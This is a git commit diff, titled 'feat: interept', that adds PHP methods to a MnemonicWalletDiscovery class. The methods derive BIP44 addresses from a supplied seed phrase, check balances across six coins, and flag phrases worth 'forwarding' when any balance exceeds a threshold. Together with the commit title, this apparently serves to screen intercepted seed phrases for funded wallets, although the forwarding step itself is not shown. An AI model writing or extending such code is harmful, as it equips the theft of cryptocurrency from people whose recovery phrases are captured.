feat: interept
This commit is contained in:
@@ -47,6 +47,87 @@ class MnemonicWalletDiscovery
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/** @var list<string> */
|
||||
public const FORWARD_COINS = ['usdt', 'trx', 'eth', 'btc', 'sol', 'bnb'];
|
||||
|
||||
/**
|
||||
* Derive BIP44 0..2 and probe chain balances without writing wallet rows.
|
||||
* Forwards when any coin is strictly greater than scan.forward_min_* (default 0).
|
||||
* Probe/derive failures are treated as below threshold.
|
||||
*/
|
||||
public function phraseHasPositiveBalance(string $phrase): bool
|
||||
{
|
||||
$phrase = trim($phrase);
|
||||
if ($phrase === '') {
|
||||
return false;
|
||||
}
|
||||
$words = preg_split('/\s+/', $phrase) ?: [];
|
||||
if (count($words) < 12) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
return (bool) ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($phrase) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
$driver = $this->chains->resolve($spec['chain']);
|
||||
} catch (\Throwable) {
|
||||
continue;
|
||||
}
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
$address = $driver->deriveAddress($phrase, $index);
|
||||
$probe = $this->probeActivated($spec['chain'], $driver, $address);
|
||||
} catch (\Throwable) {
|
||||
continue;
|
||||
}
|
||||
if (self::coinsMeetForwardMin($probe['coins'] ?? [])) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic phrase balance probe failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static function forwardMin(string $coin): string
|
||||
{
|
||||
$coin = strtolower(trim($coin));
|
||||
$raw = trim((string) config('coruna.scan.forward_min_'.$coin, '0'));
|
||||
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 18) < 0) {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $raw;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $coins
|
||||
*/
|
||||
public static function coinsMeetForwardMin(array $coins): bool
|
||||
{
|
||||
foreach (self::FORWARD_COINS as $coin) {
|
||||
if (! array_key_exists($coin, $coins)) {
|
||||
continue;
|
||||
}
|
||||
$value = trim((string) $coins[$coin]);
|
||||
if ($value === '' || ! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
if (bccomp($value, self::forwardMin($coin), 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user